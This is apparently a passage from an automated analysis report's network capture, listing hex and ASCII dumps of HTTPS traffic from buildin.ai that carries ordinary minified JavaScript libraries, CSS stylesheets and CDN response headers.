6f 6d 69 73 65 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6f 2e 50 72 6f 6d 69 73 65 3d 6e 28 32 29 Data Ascii: ([]);for(var R=-1,L=new this(s);++R<C;)V(E[R]);return L;function V(q){b.resolve(q).then(function(ie){D\|\|(D=!0,a.resolve(L,ie))},function(ie){D\|\|(D=!0,a.reject(L,ie))})}}},{1:1}],3:[function(n,r,i){(function(o){typeof o.Promise!="function"&&(o.Promise=n(2)
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 76 65 2c 5f 65 29 7b 76 61 72 20 45 65 3d 5f 65 2e 72 6f 77 73 2e 69 74 65 6d 28 30 29 2e 63 3b 47 28 45 65 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 76 65 2c 5f 65 29 7b 4b 28 5f 65 29 7d 29 7d 29 7d 29 2e 63 61 74 63 68 28 4b 29 7d 29 3b 72 65 74 75 72 6e 20 68 28 42 2c 50 29 2c 42 7d 66 75 6e 63 74 69 6f 6e 20 49 28 50 2c 55 29 7b 76 61 72 20 42 3d 74 68 69 73 2c 47 3d 6e 65 77 20 66 28 66 75 6e 63 74 69 6f 6e 28 4b 2c 48 29 7b 42 2e 72 65 61 64 79 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 66 65 3d 42 2e 5f 64 62 49 6e 66 6f 3b 66 65 2e 64 62 2e 74 72 61 6e 73 61 63 74 69 6f 6e 28 66 75 6e 63 74 69 6f 6e 28 76 65 29 7b 7a 28 76 65 2c 66 65 2c 22 53 45 4c 45 43 54 20 6b 65 79 20 46 52 4f 4d 20 Data Ascii: ,[],function(ve,_e){var Ee=_e.rows.item(0).c;G(Ee)},function(ve,_e){K(_e)})})}).catch(K)});return h(B,P),B}function I(P,U){var B=this,G=new f(function(K,H){B.ready().then(function(){var fe=B._dbInfo;fe.db.transaction(function(ve){z(ve,fe,"SELECT key FROM
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6e 3f 21 31 3a 43 3d 3d 3d 44 3f 21 30 3a 45 28 43 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 44 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 43 29 7b 76 61 72 20 44 3d 74 68 69 73 3b 69 66 28 43 3d 43 7c 7c 6e 2c 21 28 44 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 72 65 74 75 72 6e 20 6e 65 77 20 62 28 43 29 3b 44 2e 74 61 72 67 65 74 3d 43 2c 44 2e 5f 63 61 6c 6c 62 61 63 6b 73 3d 7b 7d 2c 44 2e 5f 64 69 72 65 63 74 4d 61 70 3d 7b 7d 3b 76 61 72 20 52 3d 7b 7d 2c 4c 2c 56 3d 21 31 2c 71 3d 21 31 2c 69 65 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 64 65 28 4d 29 7b 4d 3d 4d 7c 7c 7b 7d 3b 76 61 72 20 57 3d 21 31 2c 51 3b 66 6f 72 28 51 20 69 6e 20 52 29 7b 69 66 28 4d 5b 51 5d 29 7b 57 3d 21 30 3b 63 6f 6e 74 69 6e 75 65 7d 52 5b 51 5d 3d 30 7d 57 7c 7c 28 69 65 3d 21 Data Ascii: n?!1:C===D?!0:E(C.parentNode,D)}function b(C){var D=this;if(C=C\|\|n,!(D instanceof b))return new b(C);D.target=C,D._callbacks={},D._directMap={};var R={},L,V=!1,q=!1,ie=!1;function de(M){M=M\|\|{};var W=!1,Q;for(Q in R){if(M[Q]){W=!0;continue}R[Q]=0}W\|\|(ie=!
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 20 69 21 3d 6e 75 6c 6c 26 26 69 2e 73 65 74 54 69 6d 65 6f 75 74 3f 69 2e 73 65 74 54 69 6d 65 6f 75 74 2e 61 70 70 6c 79 28 69 2c 43 69 28 5b 74 2c 65 5d 2c 7a 72 28 6e 29 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 43 69 28 5b 74 2c 65 5d 2c 7a 72 28 6e 29 29 29 7d 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 4c 64 2e 64 65 6c 65 67 61 74 65 3b 72 65 74 75 72 6e 28 28 65 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 65 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 29 7c 7c 63 6c 65 61 72 54 69 6d 65 6f 75 74 29 28 74 29 7d 2c 64 65 6c 65 67 61 74 65 3a 76 6f 69 64 20 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 32 28 74 29 7b 4c 64 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 Data Ascii: i!=null&&i.setTimeout?i.setTimeout.apply(i,Ci([t,e],zr(n))):setTimeout.apply(void 0,Ci([t,e],zr(n)))},clearTimeout:function(t){var e=Ld.delegate;return((e==null?void 0:e.clearTimeout)\|\|clearTimeout)(t)},delegate:void 0};function n2(t){Ld.setTimeout(funct
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 46 67 28 74 2c 65 2c 6e 29 2e 70 69 70 65 28 6a 43 28 72 29 29 3b 76 61 72 20 69 3d 7a 72 28 58 43 28 74 29 3f 71 43 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 74 5b 61 5d 28 65 2c 75 2c 6e 29 7d 7d 29 3a 59 43 28 74 29 3f 48 43 2e 6d 61 70 28 4d 67 28 74 2c 65 29 29 3a 4b 43 28 74 29 3f 47 43 2e 6d 61 70 28 4d 67 28 74 2c 65 29 29 3a 5b 5d 2c 32 29 2c 6f 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 3b 69 66 28 21 6f 26 26 66 6d 28 74 29 29 72 65 74 75 72 6e 20 64 6d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 46 67 28 61 2c 65 2c 6e 29 7d 29 28 6c 69 28 74 29 29 3b 69 66 28 21 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 Data Ascii: Fg(t,e,n).pipe(jC(r));var i=zr(XC(t)?qC.map(function(a){return function(u){return t[a](e,u,n)}}):YC(t)?HC.map(Mg(t,e)):KC(t)?GC.map(Mg(t,e)):[],2),o=i[0],s=i[1];if(!o&&fm(t))return dm(function(a){return Fg(a,e,n)})(li(t));if(!o)throw new TypeError("Invali
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6c 6c 7c 7c 65 3d 3d 3d 76 6f 69 64 20 30 7c 7c 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 72 29 7d 63 61 74 63 68 28 72 29 7b 7d 62 72 65 61 6b 7d 7d 7d 7d 7d 63 6f 6e 73 74 20 43 72 3d 22 74 72 34 30 6f 77 6a 22 2c 53 54 3d 28 74 2c 65 29 3d 3e 28 7b 5b 22 64 61 74 61 2d 22 2e 63 6f 6e 63 61 74 28 43 72 29 5d 3a 22 22 2c 22 64 61 74 61 2d 65 64 69 74 6f 72 22 3a 22 22 2e 63 6f 6e 63 61 74 28 74 2e 65 64 69 74 6f 72 4b 65 79 29 2c 22 64 61 74 61 2d 72 65 76 69 73 69 6f 6e 22 3a 22 22 2e 63 6f 6e 63 61 74 28 74 2e 67 65 74 43 6f 6e 74 65 6e 74 52 65 76 69 73 69 6f 6e 28 65 29 29 7d 29 2c 43 54 3d 74 3d 3e 28 7b 5b 22 64 61 74 61 2d 22 2e 63 6f 6e 63 61 74 28 43 72 29 5d 3a 22 22 2c 22 64 61 74 61 2d 74 65 78 74 22 3a 22 22 2c 22 64 61 74 61 2d 6c 65 6e 67 Data Ascii: ll\|\|e===void 0\|\|e.removeChild(r)}catch(r){}break}}}}}const Cr="tr40owj",ST=(t,e)=>({["data-".concat(Cr)]:"","data-editor":"".concat(t.editorKey),"data-revision":"".concat(t.getContentRevision(e))}),CT=t=>({["data-".concat(Cr)]:"","data-text":"","data-leng
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 34 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 6f 2c 73 29 7b 76 61 72 20 61 3d 69 5b 6f 5d 3b 72 65 74 75 72 6e 20 61 3f 61 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 73 3a 69 5b 6f 5d 3d 61 3d 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 73 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 75 3d 74 68 69 73 5b 54 74 5d 3b 72 65 74 75 72 6e 20 70 75 2e 67 65 74 28 75 2c 6f 29 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 75 29 7b 76 61 72 20 63 3d 74 68 69 73 5b 54 74 5d 3b 70 75 2e 73 65 74 28 63 2c 6f 2c 75 29 7d 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 65 28 6f 29 7b 66 6f 72 28 76 61 72 20 73 3d 6f 2e 6c 65 6e 67 74 68 2d 31 3b 73 3e 3d 30 3b 73 2d 2d 29 7b 76 61 72 20 61 Data Ascii: (t)}function M4(){function t(o,s){var a=i[o];return a?a.enumerable=s:i[o]=a={configurable:!0,enumerable:s,get:function(){var u=this[Tt];return pu.get(u,o)},set:function(u){var c=this[Tt];pu.set(c,o,u)}},a}function e(o){for(var s=o.length-1;s>=0;s--){var a
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 78 74 29 7d 72 65 6c 65 61 73 65 43 75 72 73 6f 72 73 28 29 7b 74 68 69 73 2e 73 74 61 72 74 43 75 72 73 6f 72 21 3d 3d 6e 75 6c 6c 26 26 28 74 68 69 73 2e 73 74 61 72 74 43 75 72 73 6f 72 2e 72 65 6c 65 61 73 65 28 29 2c 74 68 69 73 2e 73 74 61 72 74 43 75 72 73 6f 72 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 65 6e 64 43 75 72 73 6f 72 21 3d 3d 6e 75 6c 6c 26 26 28 74 68 69 73 2e 65 6e 64 43 75 72 73 6f 72 2e 72 65 6c 65 61 73 65 28 29 2c 74 68 69 73 2e 65 6e 64 43 75 72 73 6f 72 3d 6e 75 6c 6c 29 7d 72 65 6c 65 61 73 65 28 29 7b 74 68 69 73 2e 72 65 6c 65 61 73 65 43 75 72 73 6f 72 73 28 29 7d 7d 76 61 72 20 51 54 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 6f 3d 72 3f 72 2e 63 61 6c 6c 28 69 2c 65 2c 6e 29 3a 76 6f 69 64 20 30 3b Data Ascii: ext)}releaseCursors(){this.startCursor!==null&&(this.startCursor.release(),this.startCursor=null),this.endCursor!==null&&(this.endCursor.release(),this.endCursor=null)}release(){this.releaseCursors()}}var QT=function(e,n,r,i){var o=r?r.call(i,e,n):void 0;
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 75 69 72 65 64 20 72 65 76 65 72 73 65 64 20 73 63 6f 70 65 64 20 73 65 61 6d 6c 65 73 73 20 69 74 65 6d 53 63 6f 70 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 64 6e 5b 74 5d 3d 6e 65 77 20 50 6e 28 74 2c 33 2c 21 31 2c 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 3b 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 64 6e 5b 74 5d 3d 6e 65 77 20 50 6e 28 74 2c 33 2c 21 30 2c 74 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 3b 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e Data Ascii: uired reversed scoped seamless itemScope".split(" ").forEach(function(t){dn[t]=new Pn(t,3,!1,t.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(t){dn[t]=new Pn(t,3,!0,t,null,!1,!1)});["capture","download"].forEach(fun

Timestamp	Bytes transferred	Direction	Data
2025-04-01 16:22:31 UTC	553	OUT	GET /assets/index-a3ee534d.css HTTP/1.1 Host: cdn.buildin.ai Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://buildin.ai/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 16:22:31 UTC	664	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 285030 Connection: close Last-Modified: Thu, 27 Mar 2025 08:05:58 GMT X-Amz-Server-Side-Encryption: AES256 X-Amz-Meta-S3cmd-Attrs: atime:1743062738/ctime:1743062563/gid:0/gname:root/md5:bc3e151bbb9bcc4382e11eb19d1c97d3/mode:33188/mtime:1743062563/uid:0/uname:root Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 01 Apr 2025 16:22:32 GMT Etag: "bc3e151bbb9bcc4382e11eb19d1c97d3" Via: 1.1 7aea4d81c29185bd2784c2f86062007a.cloudfront.net (CloudFront) Vary: Origin X-Cache: RefreshHit from cloudfront X-Amz-Cf-Pop: JFK50-P8 X-Amz-Cf-Id: WcnrNxTFnMZmK5zAo93rUuepmWhOVpFs8fTt1pmUcptXs0OdL7HC9w==
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 2e 74 69 70 70 79 2d 62 6f 78 5b 64 61 74 61 2d 74 68 65 6d 65 7e 3d 6e 65 78 74 2d 74 6f 6f 6c 74 69 70 5d 7b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 32 70 78 29 3b 62 61 63 6b 64 72 6f 70 2d 66 69 6c 74 65 72 3a 62 6c 75 72 28 32 70 78 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 39 30 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 30 33 29 2c 30 20 33 70 78 20 36 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 2c 30 20 31 32 70 78 20 32 30 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 29 Data Ascii: .tippy-box[data-theme~=next-tooltip]{-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px);background-color:var(--black-90);border-radius:4px;box-shadow:0 0 0 1px rgba(0,0,0,.03),0 3px 6px rgba(0,0,0,.1),0 12px 20px rgba(0,0,0,.1);color:var(--white)
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 72 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 42 4d 41 41 41 41 54 43 41 59 41 41 41 42 79 55 44 62 4d 41 41 41 41 31 45 6c 45 51 56 51 34 6a 62 57 55 57 77 36 45 49 41 78 46 79 32 4e 46 73 2f 38 4e 7a 52 34 55 4a 68 70 71 4c 73 64 69 35 6d 4f 6d 53 53 4d 55 4f 66 59 57 71 76 33 53 30 67 4d 72 34 58 6c 59 48 2f 36 34 67 5a 61 2f 67 4e 33 41 4e 59 41 37 4b 41 58 41 4c 74 34 6b 74 6f 51 35 4d 49 39 59 78 71 61 47 38 62 57 6d 73 49 79 73 4d 75 54 36 70 69 53 51 43 61 34 77 68 5a 54 68 43 75 38 43 4d 34 7a 50 39 59 4a 61 4b 63 69 39 6a 69 63 50 71 33 4e 63 42 57 59 6f 50 4d 47 55 6c 68 47 37 69 76 74 6b 42 2b 67 56 79 46 59 37 35 Data Ascii: r-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAA1ElEQVQ4jbWUWw6EIAxFy2NFs/8NzR4UJhpqLsdi5mOmSSMUOfYWqv3S0gMr4XlYH/64gZa/gN3ANYA7KAXALt4ktoQ5MI9YxqaG8bWmsIysMuT6piSQCa4whZThCu8CM4zP9YJaKci9jicPq3NcBWYoPMGUlhG7ivtkB+gVyFY75
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 47 31 6b 70 51 57 73 66 69 31 66 74 6c 42 6f 62 6d 30 62 70 6e 67 73 31 36 43 48 6b 62 49 77 64 4c 6e 50 61 72 78 74 54 56 33 51 59 52 6c 66 4a 30 4b 46 73 6b 48 37 70 64 4e 2f 59 44 6e 2b 79 52 75 53 64 37 73 4e 48 33 61 4f 30 44 59 50 67 67 6b 36 75 57 75 58 72 66 4f 63 2b 66 61 33 56 54 78 46 56 76 4b 61 4e 78 48 73 69 48 6d 73 58 79 43 4c 49 45 35 79 75 4f 65 4e 33 2f 4a 64 66 38 48 42 4c 2f 35 4d 36 73 68 6a 79 68 78 48 78 39 42 6a 42 31 4f 30 2b 34 4e 4c 4f 6e 6a 4c 4c 53 78 77 4f 37 75 6b 4e 34 6a 4d 62 4f 49 63 44 38 37 39 4b 4c 53 69 36 50 6b 36 31 4f 71 6d 32 33 37 37 6e 38 30 37 39 50 58 45 45 51 37 63 79 37 4f 4b 45 43 39 6e 62 70 65 74 31 31 38 66 78 77 65 54 61 66 70 74 36 39 78 2f 42 74 38 55 71 47 7a 4e 51 74 37 61 65 6c 70 63 34 34 64 6e Data Ascii: G1kpQWsfi1ftlBobm0bpngs16CHkbIwdLnParxtTV3QYRlfJ0KFskH7pdN/YDn+yRuSd7sNH3aO0DYPggk6uWuXrfOc+fa3VTxFVvKaNxHsiHmsXyCLIE5yuOeN3/Jdf8HBL/5M6shjyhxHx9BjB1O0+4NLOnjLLSxwO7ukN4jMbOIcD879KLSi6Pk61Oqm2377n8079PXEEQ7cy7OKEC9nbpet118fxweTafpt69x/Bt8UqGzNQt7aelpc44dn
2025-04-01 16:22:31 UTC	14336	IN	Data Raw: 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 31 2e 73 69 7a 65 34 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 31 2e 73 69 7a 65 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 33 32 31 35 34 33 34 31 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 31 2e 73 69 7a 65 35 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 31 2e 73 69 7a 65 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 33 36 31 37 33 36 33 33 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 31 2e 73 69 7a 65 36 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 Data Ascii: tex .fontsize-ensurer.reset-size11.size4,.katex .sizing.reset-size11.size4{font-size:.32154341em}.katex .fontsize-ensurer.reset-size11.size5,.katex .sizing.reset-size11.size5{font-size:.36173633em}.katex .fontsize-ensurer.reset-size11.size6,.katex .sizing
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 6f 64 65 4d 69 72 72 6f 72 2d 6d 61 74 63 68 69 6e 67 74 61 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 32 35 35 2c 31 35 30 2c 30 2c 2e 33 29 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 61 63 74 69 76 65 6c 69 6e 65 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 38 66 32 66 66 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 73 63 72 6f 6c 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 35 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 35 30 70 78 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 6f 76 65 72 66 Data Ascii: odeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{background:#fff;overflow:hidden;position:relative}.CodeMirror-scroll{height:100%;margin-bottom:-50px;margin-right:-50px;outline:none;overf
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 36 25 2c 2e 34 35 29 3b 2d 2d 67 72 65 79 33 2d 35 30 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 35 29 3b 2d 2d 67 72 65 79 33 2d 35 35 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 35 35 29 3b 2d 2d 67 72 65 79 33 2d 36 30 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 36 29 3b 2d 2d 67 72 65 79 33 2d 36 35 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 36 35 29 3b 2d 2d 67 72 65 79 33 2d 37 30 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 37 29 3b 2d 2d 67 72 65 79 33 2d 37 35 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 37 35 29 3b 2d 2d 67 72 65 79 33 2d 38 30 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 38 29 3b 2d 2d 67 72 65 79 33 2d 38 35 3a 68 73 6c 61 28 36 30 2c 31 25 2c 35 36 25 2c 2e 38 35 29 3b 2d 2d 67 Data Ascii: 6%,.45);--grey3-50:hsla(60,1%,56%,.5);--grey3-55:hsla(60,1%,56%,.55);--grey3-60:hsla(60,1%,56%,.6);--grey3-65:hsla(60,1%,56%,.65);--grey3-70:hsla(60,1%,56%,.7);--grey3-75:hsla(60,1%,56%,.75);--grey3-80:hsla(60,1%,56%,.8);--grey3-85:hsla(60,1%,56%,.85);--g
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 65 79 32 2d 32 35 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 32 35 29 3b 2d 2d 67 72 65 79 32 2d 33 30 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 33 29 3b 2d 2d 67 72 65 79 32 2d 33 35 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 33 35 29 3b 2d 2d 67 72 65 79 32 2d 34 30 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 34 29 3b 2d 2d 67 72 65 79 32 2d 34 35 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 34 35 29 3b 2d 2d 67 72 65 79 32 2d 35 30 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 35 29 3b 2d 2d 67 72 65 79 32 2d 35 35 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 35 35 29 3b 2d 2d 67 72 65 79 32 2d 36 30 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 36 29 3b 2d 2d 67 72 65 79 32 2d 36 35 3a 68 73 6c 61 28 30 2c 30 25 2c 36 33 Data Ascii: ey2-25:hsla(0,0%,63%,.25);--grey2-30:hsla(0,0%,63%,.3);--grey2-35:hsla(0,0%,63%,.35);--grey2-40:hsla(0,0%,63%,.4);--grey2-45:hsla(0,0%,63%,.45);--grey2-50:hsla(0,0%,63%,.5);--grey2-55:hsla(0,0%,63%,.55);--grey2-60:hsla(0,0%,63%,.6);--grey2-65:hsla(0,0%,63
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 3a 34 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 74 65 78 74 2d 74 31 2d 6c 69 6e 65 2d 68 65 69 67 68 74 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 74 31 2d 6d 65 64 69 75 6d 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 2e 74 65 78 74 2d 74 31 2d 62 6f 6c 64 2c 2e 74 65 78 74 2d 74 31 2d 6d 65 64 69 75 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 74 65 78 74 2d 74 31 2d 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 74 65 78 74 2d 74 31 2d 62 6f 6c 64 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e Data Ascii: :400!important;line-height:26px!important;line-height:var(--text-t1-line-height)!important}.text-t1-medium{font-weight:500}.text-t1-bold,.text-t1-medium{font-size:16px;line-height:26px;line-height:var(--text-t1-line-height)}.text-t1-bold{font-weight:600}.
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 61 72 74 2d 70 72 65 76 69 65 77 2d 64 61 74 61 2c 2e 65 6d 6f 6a 69 2d 6d 61 72 74 2d 70 72 65 76 69 65 77 2d 65 6d 6f 6a 69 2c 2e 65 6d 6f 6a 69 2d 6d 61 72 74 2d 70 72 65 76 69 65 77 2d 73 6b 69 6e 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 7d 2e 65 6d 6f 6a 69 2d 6d 61 72 74 2d 70 72 65 76 69 65 77 2d 65 6d 6f 6a 69 7b 6c 65 66 74 3a 31 32 70 78 7d 2e 65 6d 6f 6a 69 2d 6d 61 72 74 2d 70 72 65 76 69 65 77 2d 64 61 74 61 7b 6c 65 66 74 3a 36 38 70 78 3b 72 69 67 68 74 3a 31 32 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 73 7d 2e 65 6d 6f 6a 69 2d 6d 61 72 74 2d 70 72 65 76 69 65 77 2d 73 6b 69 6e 73 7b 72 69 Data Ascii: art-preview-data,.emoji-mart-preview-emoji,.emoji-mart-preview-skins{position:absolute;top:50%;transform:translateY(-50%)}.emoji-mart-preview-emoji{left:12px}.emoji-mart-preview-data{left:68px;right:12px;word-break:break-words}.emoji-mart-preview-skins{ri
2025-04-01 16:22:31 UTC	16384	IN	Data Raw: 49 6e 52 69 67 68 74 42 69 67 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 55 70 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 31 30 30 25 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 55 70 7b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 64 65 49 6e 55 70 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 49 6e 55 70 42 69 67 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 32 30 30 30 70 78 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 